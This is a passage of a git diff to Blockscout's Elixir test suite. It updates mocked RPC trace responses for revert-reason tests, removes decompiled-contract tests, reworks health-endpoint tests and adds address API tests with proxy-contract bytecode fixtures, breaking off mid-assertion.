"0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000164e6f20637265646974206f662074686174207479706500000000000000000000" + expect( EthereumJSONRPC.Mox, :json_rpc, - fn _json, [] -> - {:error, %{code: -32015, message: "VM execution error.", data: "revert: No credit of that type"}} + fn + [%{method: "debug_traceTransaction"}], _options -> + {:ok, + [ + %{ + id: 0, + result: %{ + "from" => "0x6a17ca3bbf83764791f4a9f2b4dbbaebbc8b3e0d", + "gas" => "0x5208", + "gasUsed" => "0x5208", + "input" => "0x01", + "output" => hex_reason, + "to" => "0x7ed1e469fcb3ee19c0366d829e291451be638e59", + "type" => "CALL", + "value" => "0x86b3" + } + } + ]} + + [%{method: "trace_replayTransaction"}], _options -> + {:ok, + [ + %{ + id: 0, + result: %{ + "output" => "0x", + "stateDiff" => nil, + "trace" => [ + %{ + "action" => %{ + "callType" => "call", + "from" => "0x6a17ca3bbf83764791f4a9f2b4dbbaebbc8b3e0d", + "gas" => "0x5208", + "input" => "0x01", + "to" => "0x7ed1e469fcb3ee19c0366d829e291451be638e59", + "value" => "0x86b3" + }, + "error" => "Reverted", + "result" => %{ + "gasUsed" => "0x5208", + "output" => hex_reason + }, + "subtraces" => 0, + "traceAddress" => [], + "type" => "call" + } + ], + "transactionHash" => "0xdf5574290913659a1ac404ccf2d216c40587f819400a52405b081dda728ac120", + "vmTrace" => nil + } + } + ]} + + %{method: "eth_call"}, _options -> + {:error, + %{ + code: 3, + data: hex_reason, + message: "execution reverted" + }} end ) @@ -664,14 +736,19 @@ defmodule BlockScoutWeb.API.RPC.TransactionControllerTest do "txhash" => "#{transaction.hash}" } + init_config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, tracer: "call_tracer", debug_trace_timeout: "5s") + assert response = conn |> get("/api", params) |> json_response(200) - assert response["result"]["revertReason"] == "No credit of that type" + assert response["result"]["revertReason"] == hex_reason assert response["status"] == "1" assert response["message"] == "OK" + + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, init_config) end end @@ -696,8 +773,65 @@ defmodule BlockScoutWeb.API.RPC.TransactionControllerTest do expect( EthereumJSONRPC.Mox, :json_rpc, - fn _json, [] -> - {:error, %{code: -32015, message: "VM execution error.", data: ""}} + fn + [%{method: "debug_traceTransaction"}], _options -> + {:ok, + [ + %{ + id: 0, + result: %{ + "error" => "Reverted", + "from" => "0x6a17ca3bbf83764791f4a9f2b4dbbaebbc8b3e0d", + "gas" => "0x5208", + "gasUsed" => "0x5208", + "input" => "0x01", + "to" => "0x7ed1e469fcb3ee19c0366d829e291451be638e59", + "type" => "CALL", + "value" => "0x86b3" + } + } + ]} + + [%{method: "trace_replayTransaction"}], _options -> + {:ok, + [ + %{ + id: 0, + result: %{ + "output" => "0x", + "stateDiff" => nil, + "trace" => [ + %{ + "action" => %{ + "callType" => "call", + "from" => "0x6a17ca3bbf83764791f4a9f2b4dbbaebbc8b3e0d", + "gas" => "0x5208", + "input" => "0x01", + "to" => "0x7ed1e469fcb3ee19c0366d829e291451be638e59", + "value" => "0x86b3" + }, + "error" => "Reverted", + "result" => %{ + "gasUsed" => "0x5208", + "output" => "0x" + }, + "subtraces" => 0, + "traceAddress" => [], + "type" => "call" + } + ], + "transactionHash" => "0xdf5574290913659a1ac404ccf2d216c40587f819400a52405b081dda728ac120", + "vmTrace" => nil + } + } + ]} + + %{method: "eth_call"}, _options -> + {:error, + %{ + code: 3, + message: "execution reverted" + }} end ) @@ -707,56 +841,19 @@ defmodule BlockScoutWeb.API.RPC.TransactionControllerTest do "txhash" => "#{transaction.hash}" } - assert response = - conn - |> get("/api", params) - |> json_response(200) - - assert response["result"]["revertReason"] == "" - assert response["status"] == "1" - assert response["message"] == "OK" - end - - test "with a txhash with empty revert reason from DB if eth_call doesn't return an error", %{conn: conn} do - block = insert(:block, number: 100, hash: "0x3e51328bccedee581e8ba35190216a61a5d67fd91ca528f3553142c0c7d18391") - - transaction = - :transaction - |> insert( - error: "Reverted", - status: :error, - block_hash: block.hash, - block_number: block.number, - cumulative_gas_used: 884_322, - gas_used: 106_025, - index: 0, - hash: "0xac2a7dab94d965893199e7ee01649e2d66f0787a4c558b3118c09e80d4df8269" - ) - - insert(:address) - - expect( - EthereumJSONRPC.Mox, - :json_rpc, - fn _json, [] -> - {:ok} - end - ) - - params = %{ - "module" => "transaction", - "action" => "gettxinfo", - "txhash" => "#{transaction.hash}" - } + init_config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, tracer: "call_tracer", debug_trace_timeout: "5s") assert response = conn |> get("/api", params) |> json_response(200) - assert response["result"]["revertReason"] == "" + assert response["result"]["revertReason"] in ["", "0x"] assert response["status"] == "1" assert response["message"] == "OK" + + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, init_config) end defp resolve_schema(result \\ %{}) do diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v1/decompiled_smart_contract_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v1/decompiled_smart_contract_controller_test.exs deleted file mode 100644 index 8f511daff7c1..000000000000 --- a/apps/block_scout_web/test/block_scout_web/controllers/api/v1/decompiled_smart_contract_controller_test.exs +++ /dev/null @@ -1,121 +0,0 @@ -defmodule BlockScoutWeb.API.V1.DecompiledControllerTest do - use BlockScoutWeb.ConnCase - - alias Explorer.Repo - alias Explorer.Chain.{Address, DecompiledSmartContract} - - import Ecto.Query, - only: [from: 2] - - @secret "secret" - - describe "when used authorized" do - setup %{conn: conn} = context do - Application.put_env(:block_scout_web, :decompiled_smart_contract_token, @secret) - - auth_conn = conn |> put_req_header("auth_token", @secret) - - {:ok, Map.put(context, :conn, auth_conn)} - end - - test "returns unprocessable_entity status when params are invalid", %{conn: conn} do - request = post(conn, api_v1_decompiled_smart_contract_path(conn, :create)) - - assert request.status == 422 - assert request.resp_body == "{\"error\":\"address_hash is invalid\"}" - end - - test "returns unprocessable_entity when code is empty", %{conn: conn} do - decompiler_version = "test_decompiler" - address = insert(:address) - - params = %{ - "address_hash" => to_string(address.hash), - "decompiler_version" => decompiler_version - } - - request = post(conn, api_v1_decompiled_smart_contract_path(conn, :create), params) - - assert request.status == 422 - assert request.resp_body == "{\"decompiled_source_code\":\"can't be blank\"}" - end - - test "can not update code for the same decompiler version", %{conn: conn} do - address_hash = to_string(insert(:address, hash: "0x0000000000000000000000000000000000000001").hash) - decompiler_version = "test_decompiler" - decompiled_source_code = "hello world" - - insert(:decompiled_smart_contract, - address_hash: address_hash, - decompiler_version: decompiler_version, - decompiled_source_code: decompiled_source_code - ) - - params = %{ - "address_hash" => address_hash, - "decompiler_version" => decompiler_version, - "decompiled_source_code" => decompiled_source_code - } - - request = post(conn, api_v1_decompiled_smart_contract_path(conn, :create), params) - - assert request.status == 422 - - assert request.resp_body == "{\"error\":\"decompiled code already exists for the decompiler version\"}" - end - - test "creates decompiled smart contract", %{conn: conn} do - address_hash = to_string(insert(:address, hash: "0x0000000000000000000000000000000000000001").hash) - decompiler_version = "test_decompiler" - decompiled_source_code = "hello world" - - params = %{ - "address_hash" => address_hash, - "decompiler_version" => decompiler_version, - "decompiled_source_code" => decompiled_source_code - } - - request = post(conn, api_v1_decompiled_smart_contract_path(conn, :create), params) - - assert request.status == 201 - - assert request.resp_body == - "{\"address_hash\":\"0x0000000000000000000000000000000000000001\",\"decompiler_version\":\"test_decompiler\",\"decompiled_source_code\":\"hello world\"}" - - decompiled_smart_contract = Repo.one!(from(d in DecompiledSmartContract, where: d.address_hash == ^address_hash)) - assert to_string(decompiled_smart_contract.address_hash) == address_hash - assert decompiled_smart_contract.decompiler_version == decompiler_version - assert decompiled_smart_contract.decompiled_source_code == decompiled_source_code - end - - test "updates the address to be decompiled", %{conn: conn} do - address_hash = to_string(insert(:address, hash: "0x0000000000000000000000000000000000000001").hash) - decompiler_version = "test_decompiler" - decompiled_source_code = "hello world" - - params = %{ - "address_hash" => address_hash, - "decompiler_version" => decompiler_version, - "decompiled_source_code" => decompiled_source_code - } - - request = post(conn, api_v1_decompiled_smart_contract_path(conn, :create), params) - - assert request.status == 201 - - assert Repo.get!(Address, address_hash).decompiled - end - end - - describe "when user is not authorized" do - test "returns forbedden", %{conn: conn} do - request = post(conn, api_v1_decompiled_smart_contract_path(conn, :create)) - - assert request.status == 403 - end - end - - defp api_v1_decompiled_smart_contract_path(conn, action) do - "/api" <> ApiRoutes.api_v1_decompiled_smart_contract_path(conn, action) - end -end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v1/health_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v1/health_controller_test.exs index 54197c5866e1..d38f51303c64 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/api/v1/health_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v1/health_controller_test.exs @@ -1,94 +1,159 @@ defmodule BlockScoutWeb.API.V1.HealthControllerTest do use BlockScoutWeb.ConnCase + import Mox + import EthereumJSONRPC, only: [integer_to_quantity: 1] + alias Explorer.{Chain, PagingOptions} + alias Explorer.Chain.Cache.Blocks + + setup :set_mox_from_context setup do - Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.Blocks.child_id()) - Supervisor.restart_child(Explorer.Supervisor, Explorer.Chain.Cache.Blocks.child_id()) + old_env = Application.get_env(:explorer, Explorer.Chain.Health.Monitor) + Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Health.Monitor) + Supervisor.terminate_child(Explorer.Supervisor, Blocks.child_id()) + Supervisor.restart_child(Explorer.Supervisor, Blocks.child_id()) + + new_env = + old_env + |> Keyword.replace(:check_interval, 100) + + Application.put_env(:explorer, Explorer.Chain.Health.Monitor, new_env) + start_supervised!(Explorer.Chain.Health.Monitor) + + current_block_number = 100_500 + current_block_number_hex = integer_to_quantity(current_block_number) + + expect(EthereumJSONRPC.Mox, :json_rpc, fn %{method: "eth_blockNumber"}, _options -> + {:ok, current_block_number_hex} + end) - :ok + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Health.Monitor, old_env) + end) + + %{current_block_number: current_block_number} end describe "GET last_block_status/0" do test "returns error when there are no blocks in db", %{conn: conn} do - request = get(conn, api_v1_health_path(conn, :health)) + request = get(conn, api_health_path(conn, :health)) assert request.status == 500 - assert request.resp_body == - "{\"error_code\":5002,\"error_description\":\"There are no blocks in the DB\",\"error_title\":\"no blocks in db\",\"healthy\":false}" + expected_error = + %{ + "code" => 5002, + "message" => "There are no blocks in the DB." + } + + decoded_response = request.resp_body |> Jason.decode!() + + assert decoded_response["metadata"]["blocks"]["healthy"] == false + assert decoded_response["metadata"]["blocks"]["error"] == expected_error end - test "returns error when last block is stale", %{conn: conn} do - insert(:block, consensus: true, timestamp: Timex.shift(DateTime.utc_now(), hours: -50)) + test "returns error when last block is stale", %{conn: conn, current_block_number: current_block_number} do + block = insert(:block, consensus: true, timestamp: Timex.shift(DateTime.utc_now(), hours: -50)) + Blocks.update(block) - request = get(conn, api_v1_health_path(conn, :health)) + :timer.sleep(150) + + request = get(conn, api_health_path(conn, :health)) assert request.status == 500 assert %{ + "latest_block" => %{ + "cache" => %{ + "number" => to_string(block.number), + "timestamp" => to_string(DateTime.truncate(block.timestamp, :second)) + }, + "db" => %{ + "number" => to_string(block.number), + "timestamp" => to_string(DateTime.truncate(block.timestamp, :second)) + }, + "node" => %{"number" => to_string(current_block_number)} + }, "healthy" => false, - "error_code" => 5001, - "error_title" => "blocks fetching is stuck", - "error_description" => - "There are no new blocks in the DB for the last 5 mins. Check the healthiness of Ethereum archive node or the Blockscout DB instance", - "data" => %{ - "latest_block_number" => _, - "latest_block_inserted_at" => _ + "error" => %{ + "code" => 5001, + "message" => + "There are no new blocks in the DB for the last 3000 mins. Check the healthiness of the JSON RPC archive node or the DB." } - } = Poison.decode!(request.resp_body) + } == Poison.decode!(request.resp_body)["metadata"]["blocks"] end - test "returns ok when last block is not stale", %{conn: conn} do + test "returns ok when last block is not stale", %{conn: conn, current_block_number: current_block_number} do block1 = insert(:block, consensus: true, timestamp: DateTime.utc_now(), number: 2) - insert(:block, consensus: true, timestamp: DateTime.utc_now(), number: 1) + Blocks.update(block1) + block2 = insert(:block, consensus: true, timestamp: DateTime.utc_now(), number: 1) + Blocks.update(block2) - request = get(conn, api_v1_health_path(conn, :health)) + :timer.sleep(150) - assert request.status == 200 + request = get(conn, api_health_path(conn, :health)) result = Poison.decode!(request.resp_body) - assert result["healthy"] == true - assert %{ - "latest_block_number" => to_string(block1.number), - "latest_block_inserted_at" => to_string(block1.timestamp), - "cache_latest_block_number" => to_string(block1.number), - "cache_latest_block_inserted_at" => to_string(block1.timestamp) - } == result["data"] + "latest_block" => %{ + "db" => %{ + "number" => to_string(block1.number), + "timestamp" => to_string(DateTime.truncate(block1.timestamp, :second)) + }, + "cache" => %{ + "number" => to_string(block1.number), + "timestamp" => to_string(DateTime.truncate(block1.timestamp, :second)) + }, + "node" => %{"number" => to_string(current_block_number)} + }, + "healthy" => true + } == result["metadata"]["blocks"] end end - test "return error when cache is stale", %{conn: conn} do + test "return error when cache is stale", %{conn: conn, current_block_number: current_block_number} do stale_block = insert(:block, consensus: true, timestamp: Timex.shift(DateTime.utc_now(), hours: -50), number: 3) - state_block_hash = stale_block.hash + Blocks.update(stale_block) + stale_block_hash = stale_block.hash + + assert [%{hash: ^stale_block_hash}] = Chain.list_blocks(paging_options: %PagingOptions{page_size: 1}) - assert [%{hash: ^state_block_hash}] = Chain.list_blocks(paging_options: %PagingOptions{page_size: 1}) + block = insert(:block, consensus: true, timestamp: DateTime.utc_now(), number: 1) + Blocks.update(block) - insert(:block, consensus: true, timestamp: DateTime.utc_now(), number: 1) + assert [%{hash: ^stale_block_hash}] = Chain.list_blocks(paging_options: %PagingOptions{page_size: 1}) - assert [%{hash: ^state_block_hash}] = Chain.list_blocks(paging_options: %PagingOptions{page_size: 1}) + :timer.sleep(150) - request = get(conn, api_v1_health_path(conn, :health)) + request = get(conn, api_health_path(conn, :health)) assert request.status == 500 assert %{ + "latest_block" => %{ + "cache" => %{ + "number" => to_string(stale_block.number), + "timestamp" => to_string(DateTime.truncate(stale_block.timestamp, :second)) + }, + "db" => %{ + "number" => to_string(stale_block.number), + "timestamp" => to_string(DateTime.truncate(stale_block.timestamp, :second)) + }, + "node" => %{"number" => to_string(current_block_number)} + }, "healthy" => false, - "error_code" => 5001, - "error_title" => "blocks fetching is stuck", - "error_description" => - "There are no new blocks in the DB for the last 5 mins. Check the healthiness of Ethereum archive node or the Blockscout DB instance", - "data" => %{ - "latest_block_number" => _, - "latest_block_inserted_at" => _ + "error" => %{ + "code" => 5001, + "message" => + "There are no new blocks in the DB for the last 3000 mins. Check the healthiness of the JSON RPC archive node or the DB." } - } = Poison.decode!(request.resp_body) + } == Poison.decode!(request.resp_body)["metadata"]["blocks"] end - defp api_v1_health_path(conn, action) do - "/api" <> ApiRoutes.api_v1_health_path(conn, action) + defp api_health_path(conn, action) do + "/api" <> ApiRoutes.health_path(conn, action) end end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v1/verified_smart_contract_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v1/verified_smart_contract_controller_test.exs index 5726a85dfef4..095a7e4d6518 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/api/v1/verified_smart_contract_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v1/verified_smart_contract_controller_test.exs @@ -3,8 +3,6 @@ defmodule BlockScoutWeb.API.V1.VerifiedControllerTest do # alias Explorer.Factory - # alias Explorer.Chain.DecompiledSmartContract - # import Ecto.Query, # only: [from: 2] diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/address_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/address_controller_test.exs new file mode 100644 index 000000000000..1351698d0d6b --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/address_controller_test.exs @@ -0,0 +1,5784 @@ +defmodule BlockScoutWeb.API.V2.AddressControllerTest do + use BlockScoutWeb.ConnCase + use EthereumJSONRPC.Case, async: false + use BlockScoutWeb.ChannelCase + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias ABI.{TypeDecoder, TypeEncoder} + alias Explorer.{Chain, Repo, TestHelper} + alias Explorer.Chain.Address.Counters + + alias Explorer.Chain.{ + Address, + Address.CoinBalance, + Block, + InternalTransaction, + Log, + Token, + Token.Instance, + TokenTransfer, + Transaction, + Wei, + Withdrawal + } + + alias Explorer.Account.{Identity, WatchlistAddress} + alias Explorer.Chain.Address.CurrentTokenBalance + alias Explorer.Chain.Beacon.Deposit, as: BeaconDeposit + alias Indexer.Fetcher.OnDemand.ContractCode, as: ContractCodeOnDemand + alias Plug.Conn + + import Explorer.Chain, only: [hash_to_lower_case_string: 1] + import Mox + + @first_topic_hex_string_1 "0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65" + @instances_amount_in_collection 9 + @resolved_delegate_proxy "0x608060408181523060009081526001602090815282822054908290529181207FBF40FAC1000000000000000000000000000000000000000000000000000000009093529173FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9091169063BF40FAC19061006D9060846101E2565B602060405180830381865AFA15801561008A573D6000803E3D6000FD5B505050506040513D601F19601F820116820180604052508101906100AE91906102C5565B905073FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8116610157576040517F08C379A000000000000000000000000000000000000000000000000000000000815260206004820152603960248201527F5265736F6C76656444656C656761746550726F78793A2074617267657420616460448201527F6472657373206D75737420626520696E697469616C697A656400000000000000606482015260840160405180910390FD5B6000808273FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF16600036604051610182929190610302565B600060405180830381855AF49150503D80600081146101BD576040519150601F19603F3D011682016040523D82523D6000602084013E6101C2565B606091505B5090925090508115156001036101DA57805160208201F35B805160208201FD5B600060208083526000845481600182811C91508083168061020457607F831692505B858310810361023A577F4E487B710000000000000000000000000000000000000000000000000000000085526022600452602485FD5B878601838152602001818015610257576001811461028B576102B6565B7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF008616825284151560051B820196506102B6565B60008B81526020902060005B868110156102B057815484820152908501908901610297565B83019750505B50949998505050505050505050565B6000602082840312156102D757600080FD5B815173FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF811681146102FB57600080FD5B9392505050565B818382376000910190815291905056FEA164736F6C634300080F000A" + + setup :set_mox_global + + setup :verify_on_exit! + + setup %{json_rpc_named_arguments: json_rpc_named_arguments} do + mocked_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) + + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + + start_supervised!({ContractCodeOnDemand, [mocked_json_rpc_named_arguments, [name: ContractCodeOnDemand]]}) + + %{json_rpc_named_arguments: mocked_json_rpc_named_arguments} + + :ok + end + + describe "/addresses/{address_hash}" do + test "get 200 on non existing address", %{conn: conn} do + address = build(:address) + + correct_response = %{ + "hash" => Address.checksum(address.hash), + "is_contract" => false, + "is_verified" => false, + "name" => nil, + "private_tags" => [], + "public_tags" => [], + "watchlist_names" => [], + "creator_address_hash" => nil, + "creation_transaction_hash" => nil, + "token" => nil, + "coin_balance" => nil, + "proxy_type" => nil, + "implementations" => [], + "block_number_balance_updated_at" => nil, + "has_validated_blocks" => false, + "has_logs" => false, + "has_tokens" => false, + "has_token_transfers" => false, + "watchlist_address_id" => nil, + "has_beacon_chain_withdrawals" => false, + "ens_domain_name" => nil, + "metadata" => nil, + "creation_status" => nil + } + + stub(EthereumJSONRPC.Mox, :json_rpc, fn _, _ -> + {:ok, []} + end) + + request = get(conn, "/api/v2/addresses/#{Address.checksum(address.hash)}") + json_response = json_response(request, 200) + check_response(correct_response, json_response) + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/0x") + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get address & get the same response for checksummed and downcased parameter", %{conn: conn} do + address = insert(:address) + + correct_response = %{ + "hash" => Address.checksum(address.hash), + "is_contract" => false, + "is_verified" => false, + "name" => nil, + "private_tags" => [], + "public_tags" => [], + "watchlist_names" => [], + "creator_address_hash" => nil, + "creation_transaction_hash" => nil, + "token" => nil, + "coin_balance" => nil, + "proxy_type" => nil, + "implementations" => [], + "block_number_balance_updated_at" => nil, + "has_validated_blocks" => false, + "has_logs" => false, + "has_tokens" => false, + "has_token_transfers" => false, + "watchlist_address_id" => nil, + "has_beacon_chain_withdrawals" => false, + "ens_domain_name" => nil, + "metadata" => nil, + "creation_status" => nil + } + + stub(EthereumJSONRPC.Mox, :json_rpc, fn _, _ -> + {:ok, []} + end) + + request = get(conn, "/api/v2/addresses/#{Address.checksum(address.hash)}") + json_response = json_response(request, 200) + check_response(correct_response, json_response) + + request = get(conn, "/api/v2/addresses/#{String.downcase(to_string(address.hash))}") + json_response = json_response(request, 200) + check_response(correct_response, json_response) + end + + test "returns successful creation transaction for a contract when both failed and successful transactions exist", + %{conn: conn} do + contract_address = insert(:address, contract_code: "0x") + + failed_transaction = + insert(:transaction, + created_contract_address_hash: contract_address.hash + ) + |> with_block(status: :error) + + succeeded_transaction = + insert(:transaction, + created_contract_address_hash: contract_address.hash + ) + |> with_block(status: :ok) + + assert failed_transaction.block_number < succeeded_transaction.block_number + + stub(EthereumJSONRPC.Mox, :json_rpc, fn _, _ -> + {:ok, []} + end) + + request = get(conn, "/api/v2/addresses/#{Address.checksum(contract_address.hash)}") + response = json_response(request, 200) + assert response["is_contract"] + assert response["creation_transaction_hash"] == to_string(succeeded_transaction.hash) + assert response["creation_status"] == "success" + end + + test "returns failed creation transaction for a contract", + %{conn: conn} do + contract_address = insert(:address, contract_code: "0x") + + failed_transaction = + insert(:transaction, + created_contract_address_hash: contract_address.hash + ) + |> with_block(status: :error) + + stub(EthereumJSONRPC.Mox, :json_rpc, fn _, _ -> + {:ok, []} + end) + + request = get(conn, "/api/v2/addresses/#{Address.checksum(contract_address.hash)}") + response = json_response(request, 200) + assert response["is_contract"] + assert response["creation_transaction_hash"] == to_string(failed_transaction.hash) + assert response["creation_status"] == "failed" + end + + defp check_response(pattern_response, response) do + assert pattern_response["hash"] == response["hash"] + assert pattern_response["is_contract"] == response["is_contract"] + assert pattern_response["is_verified"] == response["is_verified"] + assert pattern_response["name"] == response["name"] + assert pattern_response["private_tags"] == response["private_tags"] + assert pattern_response["public_tags"] == response["public_tags"] + assert pattern_response["watchlist_names"] == response["watchlist_names"] + assert pattern_response["creator_address_hash"] == response["creator_address_hash"] + assert pattern_response["creation_transaction_hash"] == response["creation_transaction_hash"] + assert pattern_response["token"] == response["token"] + assert pattern_response["coin_balance"] == response["coin_balance"] + assert pattern_response["implementation_address"] == response["implementation_address"] + assert pattern_response["implementation_name"] == response["implementation_name"] + assert pattern_response["implementations"] == response["implementations"] + assert pattern_response["block_number_balance_updated_at"] == response["block_number_balance_updated_at"] + assert pattern_response["has_validated_blocks"] == response["has_validated_blocks"] + assert pattern_response["has_logs"] == response["has_logs"] + assert pattern_response["has_tokens"] == response["has_tokens"] + assert pattern_response["has_token_transfers"] == response["has_token_transfers"] + assert pattern_response["watchlist_address_id"] == response["watchlist_address_id"] + assert pattern_response["has_beacon_chain_withdrawals"] == response["has_beacon_chain_withdrawals"] + assert pattern_response["ens_domain_name"] == response["ens_domain_name"] + assert pattern_response["metadata"] == response["metadata"] + assert pattern_response["creation_status"] == response["creation_status"] + end + + test "get EIP-1167 proxy contract info", %{conn: conn} do + implementation_contract = + insert(:smart_contract, + name: "Implementation", + external_libraries: [], + constructor_arguments: "", + abi: [ + %{ + "type" => "constructor", + "inputs" => [ + %{"type" => "address", "name" => "_proxyStorage"}, + %{"type" => "address", "name" => "_implementationAddress"} + ] + }, + %{ + "constant" => false, + "inputs" => [%{"name" => "x", "type" => "uint256"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + }, + %{ + "constant" => true, + "inputs" => [], + "name" => "get", + "outputs" => [%{"name" => "", "type" => "uint256"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + } + ], + license_type: 9 + ) + + implementation_contract_address_hash_string = + Base.encode16(implementation_contract.address_hash.bytes, case: :lower) + + proxy_transaction_input = + "0x11b804ab000000000000000000000000" <> + implementation_contract_address_hash_string <> + "000000000000000000000000000000000000000000000000000000000000006035323031313537360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000284e159163400000000000000000000000034420c13696f4ac650b9fafe915553a1abcd7dd30000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001c00000000000000000000000000000000000000000000000000000000000000220000000000000000000000000ff5ae9b0a7522736299d797d80b8fc6f31d61100000000000000000000000000ff5ae9b0a7522736299d797d80b8fc6f31d6110000000000000000000000000000000000000000000000000000000000000003e8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034420c13696f4ac650b9fafe915553a1abcd7dd300000000000000000000000000000000000000000000000000000000000000184f7074696d69736d2053756273637269626572204e465473000000000000000000000000000000000000000000000000000000000000000000000000000000054f504e46540000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000037697066733a2f2f516d66544e504839765651334b5952346d6b52325a6b757756424266456f5a5554545064395538666931503332752f300000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000c82bbe41f2cf04e3a8efa18f7032bdd7f6d98a81000000000000000000000000efba8a2a82ec1fb1273806174f5e28fbb917cf9500000000000000000000000000000000000000000000000000000000" + + proxy_deployed_bytecode = + "0x363d3d373d3d3d363d73" <> implementation_contract_address_hash_string <> "5af43d82803e903d91602b57fd5bf3" + + proxy_address = + insert(:contract_address, + contract_code: proxy_deployed_bytecode + ) + + transaction = + insert(:transaction, + created_contract_address_hash: proxy_address.hash, + input: proxy_transaction_input + ) + |> with_block(status: :ok) + + name = implementation_contract.name + from = Address.checksum(transaction.from_address_hash) + transaction_hash = to_string(transaction.hash) + address_hash = Address.checksum(proxy_address.hash) + + {:ok, implementation_contract_address_hash} = + Chain.string_to_address_hash("0x" <> implementation_contract_address_hash_string) + + checksummed_implementation_contract_address_hash = + implementation_contract_address_hash && Address.checksum(implementation_contract_address_hash) + + insert(:proxy_implementation, + proxy_address_hash: proxy_address.hash, + proxy_type: "eip1167", + address_hashes: [implementation_contract.address_hash], + names: [name] + ) + + request = get(conn, "/api/v2/addresses/#{Address.checksum(proxy_address.hash)}") + + json_response = json_response(request, 200) + + assert %{ + "hash" => ^address_hash, + "is_contract" => true, + "is_verified" => true, + "private_tags" => [], + "public_tags" => [], + "watchlist_names" => [], + "creator_address_hash" => ^from, + "creation_transaction_hash" => ^transaction_hash, + "creation_status" => "success", + "proxy_type" => "eip1167", + "implementations" => [ + %{ + "address_hash" => ^checksummed_implementation_contract_address_hash, + "name" => ^name + } + ] + } = json_response + end + + test "get EIP-1967 proxy contract info", %{conn: conn} do + smart_contract = insert(:smart_contract) + + transaction = + insert(:transaction, + to_address_hash: nil, + to_address: nil, + created_contract_address_hash: smart_contract.address_hash, + created_contract_address: smart_contract.address + ) + + insert(:address_name, + address: smart_contract.address, + primary: true, + name: smart_contract.name, + address_hash: smart_contract.address_hash + ) + + name = smart_contract.name + from = Address.checksum(transaction.from_address_hash) + transaction_hash = to_string(transaction.hash) + address_hash = Address.checksum(smart_contract.address_hash) + + implementation_address = insert(:address) + implementation_address_hash_string = to_string(Address.checksum(implementation_address.hash)) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(eip1967: implementation_address.hash) + + request = get(conn, "/api/v2/addresses/#{Address.checksum(smart_contract.address_hash)}") + + json_response = json_response(request, 200) + + assert %{ + "hash" => ^address_hash, + "is_contract" => true, + "is_verified" => true, + "name" => ^name, + "private_tags" => [], + "public_tags" => [], + "watchlist_names" => [], + "creator_address_hash" => ^from, + "creation_transaction_hash" => ^transaction_hash, + "creation_status" => "success", + "proxy_type" => "eip1967", + "implementations" => [ + %{ + "address_hash" => ^implementation_address_hash_string, + "name" => nil + } + ] + } = json_response + end + + test "get Resolved Delegate Proxy contract info", %{conn: conn} do + proxy_address = insert(:address, contract_code: @resolved_delegate_proxy) + proxy_smart_contract = insert(:smart_contract, address_hash: proxy_address.hash) + + transaction = + insert(:transaction, + to_address_hash: nil, + to_address: nil, + created_contract_address_hash: proxy_smart_contract.address_hash, + created_contract_address: proxy_smart_contract.address + ) + + insert(:address_name, + address: proxy_smart_contract.address, + primary: true, + name: proxy_smart_contract.name, + address_hash: proxy_smart_contract.address_hash + ) + + name = proxy_smart_contract.name + from = Address.checksum(transaction.from_address_hash) + transaction_hash = to_string(transaction.hash) + checksummed_proxy_address_hash = Address.checksum(proxy_smart_contract.address_hash) + + implementation_address = insert(:address) + implementation_address_hash_string = implementation_address.hash |> Address.checksum() |> to_string() + + EthereumJSONRPC.Mox + |> TestHelper.mock_resolved_delegate_proxy_requests( + proxy_smart_contract.address_hash, + implementation_address.hash + ) + + request = get(conn, "/api/v2/addresses/#{checksummed_proxy_address_hash}") + json_response = json_response(request, 200) + + assert 